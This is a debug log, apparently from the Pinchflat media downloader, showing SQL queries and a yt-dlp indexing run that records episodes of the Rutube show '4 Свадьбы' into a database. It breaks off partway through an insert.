SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:14.270 [debug] QUERY OK source="media_items" db=0.7ms idle=31.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [42740] 14:36:14.271 [debug] Current batch of media processed. Will check again in 1000ms 14:36:14.503 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/2328/videos/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 Свадьбы/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9b/89/9b8952a05eebe80afafe5109c43d39913816664375ee7ca2dcc5a935ce3b516a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:36:14.530 [debug] Gracefully stopping file follower 14:36:14.531 [debug] QUERY OK source="sources" db=0.8ms idle=263.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:14.532 [debug] QUERY OK source="sources" db=0.3ms idle=263.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.534 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=264.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-22 12:18:22Z], 1] 14:36:14.538 [debug] QUERY OK source="media_items" db=3.1ms idle=264.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Африканская свадьба", "0a64a38a-a36a-4128-9d0b-7ec952850a84", "1e239066414cbc8fbbc5de68eda8080d", 30, false, "https://rutube.ru/video/1e239066414cbc8fbbc5de68eda8080d/", 1, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072200 - Африканская свадьба.mp4", false, false, false, 1, [], 1, ~U[2019-07-22 12:18:22Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Африканская свадьба", "1e239066414cbc8fbbc5de68eda8080d", 30, false, "https://rutube.ru/video/1e239066414cbc8fbbc5de68eda8080d/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072200 - Африканская свадьба.mp4", false, 1, ~U[2019-07-22 12:18:22Z]] 14:36:14.554 [debug] QUERY OK source="sources" db=14.7ms queue=0.1ms idle=180.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.558 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=23.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-17 13:38:18Z], 1] 14:36:14.577 [debug] QUERY OK source="media_items" db=16.7ms queue=1.3ms idle=27.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Конкурс", "25b09f60-f42f-4676-9123-cb63b9af4e3a", "2111dacd380a59116f44cc8b88bf4b6e", 30, false, "https://rutube.ru/video/2111dacd380a59116f44cc8b88bf4b6e/", 2, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Конкурс.mp4", false, false, false, 1, [], 3, ~U[2018-10-17 13:38:18Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Конкурс", "2111dacd380a59116f44cc8b88bf4b6e", 30, false, "https://rutube.ru/video/2111dacd380a59116f44cc8b88bf4b6e/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Конкурс.mp4", false, 1, ~U[2018-10-17 13:38:18Z]] 14:36:14.580 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=43.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.583 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=42.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-23 19:47:00Z], 1] 14:36:14.605 [debug] QUERY OK source="media_items" db=19.7ms queue=1.5ms idle=29.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Рецепт идеальной свадьбы", "01eeefa8-a6ec-4c75-9c44-739b2cb789b5", "2e56b86332986583ab56b2340398f5c0", 30, false, "https://rutube.ru/video/2e56b86332986583ab56b2340398f5c0/", 3, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e082300 - Рецепт идеальной свадьбы.mp4", false, false, false, 1, [], 1, ~U[2019-08-23 19:47:00Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Рецепт идеальной свадьбы", "2e56b86332986583ab56b2340398f5c0", 30, false, "https://rutube.ru/video/2e56b86332986583ab56b2340398f5c0/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e082300 - Рецепт идеальной свадьбы.mp4", false, 1, ~U[2019-08-23 19:47:00Z]] 14:36:14.608 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=47.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.611 [debug] QUERY OK source="media_items" db=1.5ms queue=0.4ms idle=31.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-09-09 19:06:55Z], 1] 14:36:14.632 [debug] QUERY OK source="media_items" db=20.3ms idle=31.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Чем приправить идеальную свадьбу?", "b6c24958-8c8f-4890-94b7-d429055f9f16", "322ad16ced8f83a2913eff88b60728bc", 30, false, "https://rutube.ru/video/322ad16ced8f83a2913eff88b60728bc/", 4, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e090900 - Чем приправить идеальную свадьбу?.mp4", false, false, false, 1, [], 1, ~U[2019-09-09 19:06:55Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Чем приправить идеальную свадьбу?", "322ad16ced8f83a2913eff88b60728bc", 30, false, "https://rutube.ru/video/322ad16ced8f83a2913eff88b60728bc/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e090900 - Чем приправить идеальную свадьбу?.mp4", false, 1, ~U[2019-09-09 19:06:55Z]] 14:36:14.634 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=49.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.636 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=29.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-17 12:36:12Z], 1] 14:36:14.657 [debug] QUERY OK source="media_items" db=19.6ms idle=28.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Деревенская свадьба", "841895de-5d9a-42fd-9806-0db5a54d766c", "328532efa498a25590c4c5ecca2e6026", 30, false, "https://rutube.ru/video/328532efa498a25590c4c5ecca2e6026/", 5, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071700 - Деревенская свадьба.mp4", false, false, false, 1, [], 1, ~U[2019-07-17 12:36:12Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Деревенская свадьба", "328532efa498a25590c4c5ecca2e6026", 30, false, "https://rutube.ru/video/328532efa498a25590c4c5ecca2e6026/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071700 - Деревенская свадьба.mp4", false, 1, ~U[2019-07-17 12:36:12Z]] 14:36:14.667 [debug] QUERY OK source="sources" db=8.9ms queue=0.1ms idle=46.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.667 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=35.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-10 12:55:50Z], 1] 14:36:14.671 [debug] QUERY OK source="media_items" db=2.4ms idle=33.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадьба межгалактического масштаба", "04b10406-d9c0-4a90-bab1-2531366f4743", "3e26509b4de036f27e5b3e9340fdec13", 25, false, "https://rutube.ru/video/3e26509b4de036f27e5b3e9340fdec13/", 6, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071000 - Свадьба межгалактического масштаба.mp4", false, false, false, 1, [], 1, ~U[2019-07-10 12:55:50Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Свадьба межгалактического масштаба", "3e26509b4de036f27e5b3e9340fdec13", 25, false, "https://rutube.ru/video/3e26509b4de036f27e5b3e9340fdec13/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071000 - Свадьба межгалактического масштаба.mp4", false, 1, ~U[2019-07-10 12:55:50Z]] 14:36:14.685 [debug] QUERY OK source="sources" db=14.0ms idle=35.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.686 [debug] QUERY OK source="media_items" db=0.5ms idle=29.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-01 13:44:12Z], 1] 14:36:14.700 [debug] QUERY OK source="media_items" db=13.4ms idle=20.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Вторник 19:00", "92c8980d-59b8-4f32-893d-733f7103123b", "41c570d8ff443920463854b43a5c82ed", 20, false, "https://rutube.ru/video/41c570d8ff443920463854b43a5c82ed/", 7, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110100 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-11-01 13:44:12Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Четыре свадьбы. Премьера. Вторник 19:00", "41c570d8ff443920463854b43a5c82ed", 20, false, "https://rutube.ru/video/41c570d8ff443920463854b43a5c82ed/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110100 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-11-01 13:44:12Z]] 14:36:14.703 [debug] QUERY OK source="sources" db=1.8ms idle=33.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.705 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=32.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-17 16:30:40Z], 1] 14:36:14.731 [debug] QUERY OK source="media_items" db=24.8ms idle=20.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ррраз - и в ЗАГС!", "8bb6efab-a897-4224-ab83-c85be21b26dc", "566b3e239c137b6ed018fe67f01d3f82", 30, false, "https://rutube.ru/video/566b3e239c137b6ed018fe67f01d3f82/", 8, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e061700 - Ррраз - и в ЗАГС!.mp4", false, false, false, 1, [], 1, ~U[2019-06-17 16:30:40Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Ррраз - и в ЗАГС!", "566b3e239c137b6ed018fe67f01d3f82", 30, false, "https://rutube.ru/video/566b3e239c137b6ed018fe67f01d3f82/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e061700 - Ррраз - и в ЗАГС!.mp4", false, 1, ~U[2019-06-17 16:30:40Z]] 14:36:14.733 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=44.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.734 [debug] QUERY OK source="media_items" db=0.6ms idle=32.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-03 14:21:48Z], 1] 14:36:14.759 [debug] QUERY OK source="media_items" db=23.7ms idle=31.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Чья свадьба круче всех?", "58830190-9429-4f19-a801-ab59b4e4f9d6", "5b358d18a6c117222b72f8aa46a1b8e1", 30, false, "https://rutube.ru/video/5b358d18a6c117222b72f8aa46a1b8e1/", 9, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e060300 - Чья свадьба круче всех?.mp4", false, false, false, 1, [], 1, ~U[2019-06-03 14:21:48Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Чья свадьба круче всех?", "5b358d18a6c117222b72f8aa46a1b8e1", 30, false, "https://rutube.ru/video/5b358d18a6c117222b72f8aa46a1b8e1/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e060300 - Чья свадьба круче всех?.mp4", false, 1, ~U[2019-06-03 14:21:48Z]] 14:36:14.762 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=54.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.763 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=31.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-15 17:43:50Z], 1] 14:36:14.790 [debug] QUERY OK source="media_items" db=26.2ms idle=30.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Кто победит в войне невест?", "eb0fc042-93d7-4625-890e-bb468e476395", "649c46312e2af876af5954395d382146", 30, false, "https://rutube.ru/video/649c46312e2af876af5954395d382146/", 10, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e081500 - Кто победит в войне невест?.mp4", false, false, false, 1, [], 1, ~U[2019-08-15 17:43:50Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Кто победит в войне невест?", "649c46312e2af876af5954395d382146", 30, false, "https://rutube.ru/video/649c46312e2af876af5954395d382146/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e081500 - Кто победит в войне невест?.mp4", false, 1, ~U[2019-08-15 17:43:50Z]] 14:36:14.792 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=56.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.793 [debug] QUERY OK source="media_items" db=0.6ms idle=34.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-03 14:41:26Z], 1] 14:36:14.806 [debug] QUERY OK source="media_items" db=12.5ms idle=31.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Конкурс с ящиком", "915815c8-d0a1-4954-968c-9951de943b7a", "737617aa91853fc5bf89c06b3c725a3a", 15, false, "https://rutube.ru/video/737617aa91853fc5bf89c06b3c725a3a/", 11, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - Конкурс с ящиком.mp4", false, false, false, 1, [], 2, ~U[2019-07-03 14:41:26Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "", "Конкурс с ящиком", "737617aa91853fc5bf89c06b3c725a3a", 15, false, 